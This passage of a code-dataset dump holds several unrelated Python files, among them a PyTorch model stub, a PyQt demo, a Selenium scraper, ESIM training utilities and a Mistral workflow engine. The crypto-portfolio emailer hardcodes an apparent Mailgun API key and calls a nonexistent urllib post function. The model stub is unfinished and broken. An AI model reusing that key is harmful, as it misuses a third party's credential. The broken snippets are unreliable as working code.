torch.nn as nn\n\n\n\"\"\"\n1.Embedding\n2.dropout\n i.mask\n3.Bi-LSTM\n4.Bi-LSTM\n i.max\n ii.concat t & t_max\n5.Conv1D\n6.Dense\n7.Dense\n\nsubject_model\n\n\n\n i.seq gather t k1\n ii.seq gather t k2\n iii.concat k1 k2\n iv.concat t & t_max\n v.concat h & k\nconv1d\nDense\nDense\n\nobject_model\n \n\n\"\"\"\n\ntrain_data = json.load(open('../datasets/train_data_me.json'))\ntrain_data = train_data[:100]\ndev_data = json.load(open('../datasets/dev_data_me.json'))\nid2predicate, predicate2id = json.load(open('../datasets/all_50_schemas_me.json'))\nid2predicate = {int(i):j for i,j in id2predicate.items()}\nid2char, char2id = json.load(open('../datasets/all_chars_me.json'))\n\nchar_size = 128\nnum_classes = len(id2predicate)\n\n\nclass TMP(nn.Module):\n def __init__(self):\n super(TMP, self).__init__()\n self.embeddings = nn.Embedding(len(char2id)+2, char_size)\n self.lstm1 = nn.LSTM(char_size, char_size/2, bidirectional=True)\n self.lstm2 = nn.LSTM(char_size, char_size/2, bidirectional=True)\n\n self.conv = nn.Conv1d()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"lic2019_IE/baseline_073/kg_pt.py","file_name":"kg_pt.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"259248759","text":"hashtable = [[]for _ in range(int(input(\"Enter no.of. Table : \")))]\n\ndef insert(hashtable,key,value):\n hash_value = hashing(key)\n hashtable[hash_value].append(value)\n\ndef hashing(key):\n return key % len(hashtable)\n\ndef display(hastable):\n for i in range(len(hashtable)):\n print(i,end = \" \")\n for j in (hastable[i]):\n print(\"-----> \",end = \" \")\n print(j,end=\" \")\n print()\n\n\n\n\n\nwhile(True):\n print(\"\"\"\n 1 -- Insert the data \n 2 -- display\n 3 -- Exit\n \"\"\")\n print()\n ch=int(input(\"Enter the choice : \"))\n\n if ch == 1:\n value = int(input(\"Enter the numbers to insert : \"))\n key = value\n insert(hashtable,key,value)\n\n if ch == 2:\n display((hashtable))\n \n if ch == 3:\n exit()","sub_path":"Personel/Elankavi/python/data_structure/hashtable/hashing_with_chaining.py","file_name":"hashing_with_chaining.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"106702525","text":"from PyQt5 import QtGui\nfrom PyQt5.QtCore import QParallelAnimationGroup, qRemovePostRoutine\nfrom PyQt5.QtGui import QFont, QIcon\nfrom PyQt5.QtWidgets import QApplication, QDialogButtonBox, QMessageBox, QPushButton, QToolTip, QWidget\nimport sys\n\n\nclass MyWidget(QWidget):\n\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n QToolTip.setFont(QFont(\"Fira Code\", 10))\n\n self.setToolTip(\"这是提示\")\n\n btn = QPushButton(\"这是按钮\", self)\n btn.setToolTip(\"这是按钮的提示 tip\")\n btn.resize(btn.sizeHint())\n # 绑定按钮事件\n btn.clicked.connect(self.close)\n btn.move(50, 50)\n\n self.setGeometry(100, 100, 200, 100)\n self.setWindowTitle(\"这是窗口\")\n self.setWindowIcon(QIcon(\"asset\\icon.png\"))\n self.show()\n\n def closeEvent(self, a0: QtGui.QCloseEvent) -> None:\n reply = QMessageBox.question(\n self, \"窗口\", \"是否需要退出\", QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n\n if reply == QMessageBox.Yes:\n a0.accept()\n else:\n a0.ignore()\n\n # return super().closeEvent(a0)\n\n\ndef main():\n app = QApplication(sys.argv)\n\n w = MyWidget()\n sys.exit(app.exec_())\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/1_close_event.py","file_name":"1_close_event.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"94612529","text":"from __future__ import division\nimport urllib.request as request, json, os.path\nimport json, time\n\n\nif os.path.exists('config/config.json'):\n config_file = open('config/config.json')\n config = json.load(config_file)\nelse:\n print('Please copy the config.json file to config-local.json and fill in the file.')\n exit()\n\nprint(time.strftime(\"%x\") + \": Eagle woke up\")\n\ndef sendMail(amount, lastPrice):\n\n r = request.post(\n \"https://api.mailgun.net/v3/sandboxb0290be0c6374214b94158e8986a61b2.mailgun.org/messages\",\n auth=(\"api\", \"key-7f1ccf639b43e107cda773f9eec84ea5\"),\n data={\"from\": \"Eagle \",\n \"to\": config['myName'] + \" <\" + config['myMail'] + \">\",\n \"subject\": \"Crypto finance report\",\n \"text\": \"Good evening Mitsara,\\r\\n\\r\\nIf you sell everything you have right now with the bid price you would have in total \" + str(amount) + \"BTC. \\r\\nThis equals to \" + str(amount * lastPrice) + \" euro. \\r\\n\\r\\nHave a beautiful day,\\r\\nEagle\"})\n\n if (r.status_code) == 200:\n return True\n else:\n return False\n\ntotal_volume = 0\nlastPrice = 0\nsymbols = ','.join(config['currencies'])\nurl = \"http://api.coinlayer.com/api/live?access_key=\" + config['coinlayer'] + \"&target=EUR&symbols=\" + symbols\n\nwith request.urlopen(url) as response:\n rates = json.loads(response.read().decode('utf-8'))['rates']\n\n for currency in config['currencies'].keys():\n lastPrice = rates[currency]\n\n if lastPrice == None:\n print(\"This cryptocurrency does not exist\")\n continue\n\n total_volume += lastPrice * config['currencies'][currency]['balance']\n\nprint(\"Total euro : \" + str(total_volume) + \" eur\")\n\nif (sendMail(total_volume, lastPrice)):\n print(\"Email sent\")\nelse:\n print(\"An error occured on email send\")\n","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"442851411","text":"# coding: utf-8\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.common.keys import Keys\nimport pymongo\ndef anjuke():\n client=pymongo.MongoClient('127.0.0.1',27017)\n db=client['test']\n collection=db['anjuke_selenium']\n options = webdriver.ChromeOptions()\n options.add_argument(\n '--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36')\n options.add_argument('--headless')\n options.add_argument('--disable-gpu')\n browser = webdriver.Chrome(executable_path=r'C:\\software\\chrome\\chromedriver.exe',\n chrome_options=options)\n browser.implicitly_wait(30)\n for i in range(1,101):\n browser = webdriver.Chrome(executable_path=r'C:\\software\\chrome\\chromedriver.exe',\n chrome_options=options)\n browser.get('https://shenzhen.anjuke.com/community/p%d/' %i)\n l = browser.find_elements_by_xpath('//div[@_soj=\"xqlb\"]')\n print(len(l))\n for i in l:\n item = dict()\n item['name']=i.find_element_by_xpath('.//div[@class=\"li-info\"]/h3/a').text\n item['url']=i.find_element_by_xpath('.//div[@class=\"li-info\"]/h3/a').get_attribute('href')\n item['location']=i.find_element_by_xpath('.//div[@class=\"li-info\"]/address').text\n item['building_date']=i.find_element_by_xpath('.//div[@class=\"li-info\"]/p').text\n item['price']= i.find_element_by_xpath('.//div[@class=\"li-side\"]/p/strong').text\n #print(item)\n collection.insert(item)\n browser.close()\n\nanjuke()","sub_path":"anjuke_selenium.py","file_name":"anjuke_selenium.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"135632184","text":"from arcpy import env, da\nimport numpy as np\nfrom SMD_Package.load_config import SMDConfigs\nfrom SMD_Package.event_table.lrs import route_geometry\nfrom SMD_Package.FCtoDataFrame import event_fc_to_df\n\n\ndef convert_and_trim(dataframe, routeid_col, from_m_col, to_m_col, lane_code, conversion=100, rni_to_km=100,\n fit_to='LRS'):\n \"\"\"\n This function will convert the input DataFrame to the specified conversion and trim the input DataFrame measurement\n column to fit the LRS Maximum measurement value.\n :param dataframe: The input DataFrame.\n :param routeid_col: The RouteID column of the evnet table.\n :param from_m_col: The From Measurement column of the event table.\n :param to_m_col: The To Measurement column of the event table.\n :param lane_code: The Lane Code column of the evne table.\n :param conversion: Conversion factor.\n :return: Modified DataFrame.\n \"\"\"\n df = dataframe\n _convert_measurement(df, from_m_col, to_m_col, conversion=conversion) # Convert the measurement\n _trim(df, routeid_col, to_m_col, from_m_col, lane_code, fit_to=fit_to, rni_to_km=rni_to_km)\n return df\n\n\ndef _trim(dataframe, routeid_col, to_m_col, from_m_col, lane_code, fit_to=None, rni_to_km=None):\n \"\"\"\n This function will trim event table to fit the LRS Network Max Measurement.\n :param dataframe: The event DataFrame\n :param routeid_col: The RouteID column of the event table\n :param to_m_col: The From Measure column of the event table\n :param lrs_network : The LRS Network Feature Class\n :param lrs_routeid : The LRS Network RouteID column\n :param workspace : The SDE Connection for LRS Network\n :return: Modified Event DataFrame\n \"\"\"\n\n df = dataframe # Create a DataFrame variable\n config = SMDConfigs()\n lrs_network = config.table_names['lrs_network']\n lrs_routeid = config.table_fields['lrs_network']['route_id']\n rni_table = config.table_names['rni']\n rni_routeid = config.table_fields['rni']['route_id']\n rni_to_col = config.table_fields['rni']['to_measure']\n rni_lane_code = config.table_fields['rni']['lane_code']\n workspace = config.smd_database['instance']\n\n routes = df[routeid_col].unique().tolist() # All the routes in the input DataFrame\n env.workspace = workspace\n\n for route in routes: # Iterate over all available route in the input DataFrame\n df_route = df.loc[df[routeid_col] == route] # Create a DataFrame for a single route\n lanes = df_route[lane_code].unique().tolist() # List of lanes\n\n if fit_to == 'LRS':\n lrs_geom = route_geometry(route, lrs_network, lrs_routeid)\n elif fit_to == 'RNI':\n rni_df = event_fc_to_df(rni_table, [rni_to_col, rni_lane_code], route, rni_routeid, workspace,\n is_table=True)\n else:\n raise ValueError(\"{0} is not a valid reference for trimming.\".format(fit_to))\n\n for lane in lanes:\n if fit_to == 'LRS':\n max_m = lrs_geom.lastPoint.M\n elif fit_to == 'RNI':\n max_m = rni_df.loc[rni_df[rni_lane_code] == lane, rni_to_col].max()\n max_m = float(max_m)/rni_to_km\n\n df_route_lane = df_route.loc[df_route[lane_code] == lane] # Lane in route DataFrame.\n df_route_lane['_diff_to'] = df_route_lane[to_m_col] - max_m # Create a difference col\n df_route_lane['_diff_from'] = df_route_lane[from_m_col] - max_m\n\n full_outbound = df_route_lane.loc[(df_route_lane['_diff_to'] > 0) &\n ((np.isclose(df_route_lane['_diff_from'], 0)) |\n (df_route_lane['_diff_from'] > 0))] # All row which lies outside the lRS max m\n partial_outbound = df_route_lane.loc[(df_route_lane['_diff_to'] > 0) &\n (df_route_lane['_diff_from'] < 0)] # All row which lies outside the lRS max m\n\n if len(full_outbound) != 0:\n drop_ind = full_outbound.index.tolist() # The row which completely out of bound\n\n # Drop all the row which is completely out of range\n df.drop(drop_ind, inplace=True)\n\n if len(partial_outbound) != 0:\n partial_ind = partial_outbound.index.tolist() # The row which is partially outbound\n\n # Replace the To measurement value with max_m from reference\n df.loc[partial_ind, [to_m_col]] = max_m\n\n else:\n pass\n\n return df\n\n\ndef _convert_measurement(dataframe, from_m_col, to_m_col, conversion=100):\n \"\"\"\n This function will convert event table measurement.\n :param dataframe: The input DataFrame.\n :param from_m_col: The From Measure column in the input DataFrame.\n :param to_m_col: The To Measure column in the input DataFrame.\n :param conversion: The conversion factor which will be applied to the DataFrame.\n :return: Modified DataFrame\n \"\"\"\n df = dataframe # Create a DataFrame variable\n\n # Start the conversion\n df[from_m_col] = df[from_m_col].astype(float)/conversion # Divide the from and to column with conversion\n df[to_m_col] = df[to_m_col].astype(float)/conversion\n\n return df\n","sub_path":"SMD_Package/event_table/measurement/trim_convert.py","file_name":"trim_convert.py","file_ext":"py","file_size_in_byte":5289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"84430303","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 14 22:03:35 2020\n\n@author: del\n\"\"\"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport time\nfrom tqdm import tqdm\n\ndef soft_align_attention(x1, x2, mask1, mask2):\n '''\n x1: batch_size * seq_len * hidden_size\n x2: batch_size * seq_len * hidden_size\n '''\n # attention: batch_size * seq_len * seq_len\n attention = torch.matmul(x1, x2.transpose(1, 2))\n mask1 = mask1.float().masked_fill_(mask1, float('-inf'))\n mask2 = mask2.float().masked_fill_(mask2, float('-inf'))\n\n # weight: batch_size * seq_len * seq_len\n weight1 = F.softmax(attention + mask2.unsqueeze(1), dim=-1)\n x1_align = torch.matmul(weight1, x2)\n weight2 = F.softmax(attention.transpose(1, 2) + mask1.unsqueeze(1), dim=-1)\n x2_align = torch.matmul(weight2, x1)\n \n # x_align: batch_size * seq_len * hidden_size\n return x1_align, x2_align \n\ndef submul(x1, x2):\n mul = x1 * x2\n sub = x1 - x2\n return torch.cat([sub, mul], -1) \n\ndef apply_multiple(x):\n # input: batch_size * seq_len * (2 * hidden_size)\n p1 = F.avg_pool1d(x.transpose(1, 2), x.size(1)).squeeze(-1)\n p2 = F.max_pool1d(x.transpose(1, 2), x.size(1)).squeeze(-1)\n # output: batch_size * (4 * hidden_size)\n return torch.cat([p1, p2], 1)\n\ndef sort_by_seq_lens(batch, sequences_lengths, descending=True):\n sorted_seq_lens, sorting_index =\\\n sequences_lengths.sort(0, descending=descending)\n \n sorted_batch = batch.index_select(0, sorting_index)\n \n idx_range =\\\n sequences_lengths.new_tensor(torch.arange(0, len(sequences_lengths)))\n _, revese_mapping = sorting_index.sort(0, descending=False)\n restoration_index = idx_range.index_select(0, revese_mapping)\n \n return sorted_batch, sorted_seq_lens, sorting_index, restoration_index\n\ndef get_mask(sequences_batch, sequences_lengths):\n batch_size = sequences_batch.size()[0]\n max_length = torch.max(sequences_lengths)\n mask = torch.ones(batch_size, max_length, dtype=torch.float)\n mask[sequences_batch[:, :max_length] == 0] = 0.0\n \n return mask\n\n\ndef masked_softmax(tensor, mask):\n \"\"\"\n Apply a masked softmax on the last dimension of a tensor.\n The input tensor and mask should be of size (batch, *, sequence_length).\n Args:\n tensor: The tensor on which the softmax function must be applied along\n the last dimension.\n mask: A mask of the same size as the tensor with 0s in the positions of\n the values that must be masked and 1s everywhere else.\n Returns:\n A tensor of the same size as the inputs containing the result of the\n softmax.\n \"\"\"\n tensor_shape = tensor.size()\n reshaped_tensor = tensor.view(-1, tensor_shape[-1])\n\n # Reshape the mask so it matches the size of the input tensor.\n while mask.dim() < tensor.dim():\n mask = mask.unsqueeze(1)\n mask = mask.expand_as(tensor).contiguous().float()\n reshaped_mask = mask.view(-1, mask.size()[-1])\n\n result = nn.functional.softmax(reshaped_tensor * reshaped_mask, dim=-1)\n result = result * reshaped_mask\n # 1e-13 is added to avoid divisions by zero.\n result = result / (result.sum(dim=-1, keepdim=True) + 1e-13)\n\n return result.view(*tensor_shape)\n\n\ndef weighted_sum(tensor, weights, mask):\n \"\"\"\n Apply a weighted sum on the vectors along the last dimension of 'tensor',\n and mask the vectors in the result with 'mask'.\n Args:\n tensor: A tensor of vectors on which a weighted sum must be applied.\n weights: The weights to use in the weighted sum.\n mask: A mask to apply on the result of the weighted sum.\n Returns:\n A new tensor containing the result of the weighted sum after the mask\n has been applied on it.\n \"\"\"\n weighted_sum = weights.bmm(tensor)\n\n while mask.dim() < weighted_sum.dim():\n mask = mask.unsqueeze(1)\n mask = mask.transpose(-1, -2)\n mask = mask.expand_as(weighted_sum).contiguous().float()\n\n return weighted_sum * mask\n\n# Code inspired from:\n# https://github.com/allenai/allennlp/blob/master/allennlp/nn/util.py.\ndef replace_masked(tensor, mask, value):\n \"\"\"\n Replace the all the values of vectors in 'tensor' that are masked in\n 'masked' by 'value'.\n Args:\n tensor: The tensor in which the masked vectors must have their values\n replaced.\n mask: A mask indicating the vectors which must have their values\n replaced.\n value: The value to place in the masked vectors of 'tensor'.\n Returns:\n A new tensor of the same size as 'tensor' where the values of the\n vectors masked in 'mask' were replaced by 'value'.\n \"\"\"\n mask = mask.unsqueeze(1).transpose(2, 1)\n reverse_mask = 1.0 - mask\n values_to_add = value * reverse_mask\n return tensor * mask + values_to_add\n\ndef init_esim_weights(module):\n \"\"\"\n Initialise the weights of the ESIM model.\n \"\"\"\n if isinstance(module, nn.Linear):\n nn.init.xavier_uniform_(module.weight.data)\n nn.init.constant_(module.bias.data, 0.0)\n\n elif isinstance(module, nn.LSTM):\n nn.init.xavier_uniform_(module.weight_ih_l0.data)\n nn.init.orthogonal_(module.weight_hh_l0.data)\n nn.init.constant_(module.bias_ih_l0.data, 0.0)\n nn.init.constant_(module.bias_hh_l0.data, 0.0)\n hidden_size = module.bias_hh_l0.data.shape[0] // 4\n module.bias_hh_l0.data[hidden_size:(2*hidden_size)] = 1.0\n\n if (module.bidirectional):\n nn.init.xavier_uniform_(module.weight_ih_l0_reverse.data)\n nn.init.orthogonal_(module.weight_hh_l0_reverse.data)\n nn.init.constant_(module.bias_ih_l0_reverse.data, 0.0)\n nn.init.constant_(module.bias_hh_l0_reverse.data, 0.0)\n module.bias_hh_l0_reverse.data[hidden_size:(2*hidden_size)] = 1.0 \n \n# 1 to [0, 1], 0 to [1, 0]\ndef label_transformer(labels):\n transformed_labels = []\n for i in labels:\n transformed_labels.append([0, 1] if i else [1, 0])\n return np.array(transformed_labels) \n \n\ndef correct_predictions(output_probabilities, targets):\n \"\"\"\n Compute the number of predictions that match some target classes in the\n output of a model.\n Args:\n output_probabilities: A tensor of probabilities for different output\n classes.\n targets: The indices of the actual target classes.\n Returns:\n The number of correct predictions in 'output_probabilities'.\n \"\"\"\n _, out_classes = output_probabilities.max(dim=1)\n correct = (out_classes == targets).sum()\n return correct.item()\n\ndef validate(model, dataloader, criterion):\n \"\"\"\n Compute the loss and accuracy of a model on some validation dataset.\n Args:\n model: A torch module for which the loss and accuracy must be\n computed.\n dataloader: A DataLoader object to iterate over the validation data.\n criterion: A loss criterion to use for computing the loss.\n epoch: The number of the epoch for which validation is performed.\n device: The device on which the model is located.\n Returns:\n epoch_time: The total time to compute the loss and accuracy on the\n entire validation set.\n epoch_loss: The loss computed on the entire validation set.\n epoch_accuracy: The accuracy computed on the entire validation set.\n \"\"\"\n # Switch to evaluate mode.\n model.eval()\n device = model.device\n\n epoch_start = time.time()\n running_loss = 0.0\n running_accuracy = 0.0\n\n # Deactivate autograd for evaluation.\n with torch.no_grad():\n for batch in dataloader:\n # Move input and output data to the GPU if one is used.\n q1 = batch[\"q1\"].to(device)\n q1_lengths = batch[\"q1_length\"].to(device)\n q2 = batch[\"q2\"].to(device)\n q2_lengths = batch[\"q2_length\"].to(device)\n labels = batch[\"label\"].to(device)\n\n logits, probs = model(q1, q1_lengths, q2, q2_lengths)\n loss = criterion(logits, labels)\n\n running_loss += loss.item()\n running_accuracy += correct_predictions(probs, labels)\n\n epoch_time = time.time() - epoch_start\n epoch_loss = running_loss / len(dataloader)\n epoch_accuracy = running_accuracy / (len(dataloader.dataset))\n\n return epoch_time, epoch_loss, epoch_accuracy\n\ndef train(model,\n dataloader,\n optimizer,\n criterion,\n epoch_number,\n max_gradient_norm):\n \"\"\"\n Train a model for one epoch on some input data with a given optimizer and\n criterion.\n Args:\n model: A torch module that must be trained on some input data.\n dataloader: A DataLoader object to iterate over the training data.\n optimizer: A torch optimizer to use for training on the input model.\n criterion: A loss criterion to use for training.\n epoch_number: The number of the epoch for which training is performed.\n max_gradient_norm: Max. norm for gradient norm clipping.\n Returns:\n epoch_time: The total time necessary to train the epoch.\n epoch_loss: The training loss computed for the epoch.\n epoch_accuracy: The accuracy computed for the epoch.\n \"\"\"\n # Switch the model to train mode.\n model.train()\n device = model.device\n\n epoch_start = time.time()\n batch_time_avg = 0.0\n running_loss = 0.0\n correct_preds = 0\n\n tqdm_batch_iterator = tqdm(dataloader)\n for batch_index, batch in enumerate(tqdm_batch_iterator):\n batch_start = time.time()\n\n # Move input and output data to the GPU if it is used.\n q1 = batch[\"q1\"].to(device)\n q1_lengths = batch[\"q1_length\"].to(device)\n q2 = batch[\"q2\"].to(device)\n q2_lengths = batch[\"q2_length\"].to(device)\n labels = batch[\"label\"].to(device)\n\n optimizer.zero_grad()\n\n logits, probs = model(q1,\n q1_lengths,\n q2,\n q2_lengths)\n loss = criterion(logits, labels)\n loss.backward()\n\n nn.utils.clip_grad_norm_(model.parameters(), max_gradient_norm)\n optimizer.step()\n\n batch_time_avg += time.time() - batch_start\n running_loss += loss.item()\n correct_preds += correct_predictions(probs, labels)\n\n description = \"Avg. batch proc. time: {:.4f}s, loss: {:.4f}\"\\\n .format(batch_time_avg/(batch_index+1),\n running_loss/(batch_index+1))\n tqdm_batch_iterator.set_description(description)\n\n epoch_time = time.time() - epoch_start\n epoch_loss = running_loss / len(dataloader)\n epoch_accuracy = correct_preds / len(dataloader.dataset)\n\n return epoch_time, epoch_loss, epoch_accuracy\n\n\n\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"578735084","text":"# Copyright 2014 - Mirantis, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport copy\nfrom oslo.config import cfg\n\nfrom mistral.db import v2 as db_base\nfrom mistral.db.v2 import api as db_api\nfrom mistral.engine1 import base\nfrom mistral.engine1 import commands\nfrom mistral.engine1 import policies\nfrom mistral.engine1 import utils\nfrom mistral.openstack.common import log as logging\nfrom mistral import utils as u\nfrom mistral.workbook import parser as spec_parser\nfrom mistral.workflow import data_flow\nfrom mistral.workflow import states\nfrom mistral.workflow import utils as wf_utils\nfrom mistral.workflow import workflow_handler_factory as wfh_factory\n\nLOG = logging.getLogger(__name__)\n\n# Submodules of mistral.engine will throw NoSuchOptError if configuration\n# options required at top level of this __init__.py are not imported before\n# the submodules are referenced.\ncfg.CONF.import_opt('workflow_trace_log_name', 'mistral.config')\n\nWF_TRACE = logging.getLogger(cfg.CONF.workflow_trace_log_name)\n\n\nclass DefaultEngine(base.Engine):\n def __init__(self, engine_client):\n self._engine_client = engine_client\n\n @u.log_exec(LOG)\n def start_workflow(self, workflow_name, workflow_input, **params):\n WF_TRACE.info(\n \"Starting the execution of workflow '%s'\"\n % workflow_name\n )\n\n with db_api.transaction():\n wf_db = db_api.get_workflow(workflow_name)\n\n wf_spec = spec_parser.get_workflow_spec(wf_db.spec)\n\n utils.validate_workflow_input(wf_db, wf_spec, workflow_input)\n\n exec_db = self._create_db_execution(\n wf_db,\n wf_spec,\n workflow_input,\n params\n )\n\n wf_handler = wfh_factory.create_workflow_handler(exec_db, wf_spec)\n\n # Calculate commands to process next.\n cmds = wf_handler.start_workflow(**params)\n\n self._run_local_commands(cmds, exec_db, wf_handler)\n\n self._run_remote_commands(cmds, exec_db, wf_handler)\n\n return exec_db\n\n @u.log_exec(LOG)\n def on_task_result(self, task_id, raw_result):\n with db_api.transaction():\n task_db = db_api.get_task(task_id)\n exec_db = db_api.get_execution(task_db.execution_id)\n\n raw_result = utils.transform_result(exec_db, task_db, raw_result)\n wf_handler = wfh_factory.create_workflow_handler(exec_db)\n\n self._after_task_complete(\n task_db,\n spec_parser.get_task_spec(task_db.spec),\n raw_result,\n wf_handler.wf_spec\n )\n\n if task_db.state == states.DELAYED:\n return task_db\n\n # Calculate commands to process next.\n cmds = wf_handler.on_task_result(task_db, raw_result)\n\n self._run_local_commands(\n cmds,\n exec_db,\n wf_handler,\n task_db\n )\n\n self._run_remote_commands(cmds, exec_db, wf_handler)\n\n self._check_subworkflow_completion(exec_db)\n\n return task_db\n\n @u.log_exec(LOG)\n def pause_workflow(self, execution_id):\n with db_api.transaction():\n exec_db = db_api.get_execution(execution_id)\n\n wf_handler = wfh_factory.create_workflow_handler(exec_db)\n\n wf_handler.pause_workflow()\n\n return exec_db\n\n @u.log_exec(LOG)\n def resume_workflow(self, execution_id):\n with db_api.transaction():\n exec_db = db_api.get_execution(execution_id)\n\n wf_handler = wfh_factory.create_workflow_handler(exec_db)\n\n # Calculate commands to process next.\n cmds = wf_handler.resume_workflow()\n\n self._run_local_commands(cmds, exec_db, wf_handler)\n\n self._run_remote_commands(cmds, exec_db, wf_handler)\n\n return exec_db\n\n def rollback_workflow(self, execution_id):\n # TODO(rakhmerov): Implement.\n raise NotImplementedError\n\n @staticmethod\n def _run_local_commands(cmds, exec_db, wf_handler, cause_task_db=None):\n if not cmds:\n return\n\n for cmd in cmds:\n if not cmd.run_local(exec_db, wf_handler, cause_task_db):\n return False\n\n return True\n\n @staticmethod\n def _run_remote_commands(cmds, exec_db, wf_handler, cause_task_db=None):\n if not cmds:\n return\n\n for cmd in cmds:\n if not cmd.run_remote(exec_db, wf_handler, cause_task_db):\n return False\n\n return True\n\n @staticmethod\n def _create_db_execution(wf_db, wf_spec, wf_input, params):\n exec_db = db_api.create_execution({\n 'wf_name': wf_db.name,\n 'wf_spec': wf_spec.to_dict(),\n 'start_params': params or {},\n 'state': states.RUNNING,\n 'input': wf_input or {},\n 'output': {},\n 'context': copy.copy(wf_input) or {},\n 'parent_task_id': params.get('parent_task_id'),\n 'project_id': db_base.get_project_id()\n })\n\n data_flow.add_openstack_data_to_context(wf_db, exec_db.context)\n data_flow.add_execution_to_context(exec_db, exec_db.context)\n\n return exec_db\n\n @staticmethod\n def _after_task_complete(task_db, task_spec, raw_result, wf_spec):\n for p in policies.build_policies(task_spec.get_policies(), wf_spec):\n p.after_task_complete(task_db, task_spec, raw_result)\n\n @u.log_exec(LOG)\n def run_task(self, task_id):\n with db_api.transaction():\n task_db = db_api.get_task(task_id)\n\n WF_TRACE.info(\n \"Task '%s' [%s -> %s]\"\n % (task_db.name, task_db.state, states.RUNNING)\n )\n\n task_db = db_api.update_task(task_id, {'state': states.RUNNING})\n task_spec = spec_parser.get_task_spec(task_db.spec)\n\n exec_db = task_db.execution\n\n wf_handler = wfh_factory.create_workflow_handler(exec_db)\n\n cmd = commands.RunTask(task_spec, task_db)\\\n\n cmd.run_local(exec_db, wf_handler)\n\n cmd.run_remote(exec_db, wf_handler)\n\n def _check_subworkflow_completion(self, exec_db):\n if not exec_db.parent_task_id:\n return\n\n if exec_db.state == states.SUCCESS:\n self._engine_client.on_task_result(\n exec_db.parent_task_id,\n wf_utils.TaskResult(data=exec_db.output)\n )\n elif exec_db.state == states.ERROR:\n err_msg = 'Failed subworkflow [execution_id=%s]' % exec_db.id\n\n self._engine_client.on_task_result(\n exec_db.parent_task_id,\n wf_utils.TaskResult(error=err_msg)\n )\n","sub_path":"mistral/engine1/default_engine.py","file_name":"default_engine.py","file_ext":"py","file_size_in_byte":7306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"230485378","text":"from tkinter import *\nfrom tkinter import ttk\n\nclass OwnerManagePropertyWindow:\n def __init__(self, master):\n self.master = master\n master.title(\"Unconfirmed Properties\")\n\n self.label = Label(self.master,\n text=\"Manage Property\",\n font=\"Times 32\")\n self.label.pack()\n\n self.container1=Frame(master)\n self.container1.pack()\n\n self.container1a=Frame(self.container1)\n self.container1a.pack(side=LEFT)\n\n self.container1aa=Frame(self.container1a)\n self.container1aa.pack(side=LEFT)\n\n self.namelabel = Label(self.container1aa,\n text=\"Name:\",\n font=\"Times 12\")\n self.namelabel.pack()\n\n self.addlabel = Label(self.container1aa,\n text=\"Address:\",\n font=\"Times 12\")\n self.addlabel.pack()\n\n self.citlabel = Label(self.container1aa,\n text=\"City:\",\n font=\"Times 12\")\n self.citlabel.pack()\n\n self.ziplabel = Label(self.container1aa,\n text=\"Zip:\",\n font=\"Times 12\")\n self.ziplabel.pack()\n\n self.sizlabel = Label(self.container1aa,\n text=\"Size (acres):\",\n font=\"Times 12\")\n self.sizlabel.pack()\n\n self.container1ab=Frame(self.container1a)\n self.container1ab.pack(side=RIGHT)\n\n self.nameentry = Entry(self.container1ab,\n font=\"Times 12\",\n width=12)\n self.nameentry.pack()\n\n self.addressentry = Entry(self.container1ab,\n font=\"Times 12\",\n width=12)\n self.addressentry.pack()\n\n self.cityentry = Entry(self.container1ab,\n font=\"Times 12\",\n width=12)\n self.cityentry.pack()\n\n self.zipentry = Entry(self.container1ab,\n font=\"Times 12\",\n width=12)\n self.zipentry.pack()\n\n self.sizeentry = Entry(self.container1ab,\n font=\"Times 12\",\n width=12)\n self.sizeentry.pack()\n\n\n self.container1b=Frame(self.container1)\n self.container1b.pack()\n\n self.container1ba=Frame(self.container1b)\n self.container1ba.pack(side=LEFT)\n\n self.typlabel = Label(self.container1ba,\n text=\"Type:\",\n font=\"Times 12\")\n self.typlabel.pack()\n\n self.publabel = Label(self.container1ba,\n text=\"Public:\",\n font=\"Times 12\")\n self.publabel.pack()\n\n self.comlabel = Label(self.container1ba,\n text=\"Commercial:\",\n font=\"Times 12\")\n self.comlabel.pack()\n\n self.idlabel = Label(self.container1ba,\n text=\"ID:\",\n font=\"Times 12\")\n self.idlabel.pack()\n\n self.container1bb=Frame(self.container1b)\n self.container1bb.pack(side=RIGHT)\n\n\n self.tkvar2 = StringVar(self.container1bb)\n choices = { 'True','False'}\n self.tkvar2.set('False')\n\n self.popupMenu2 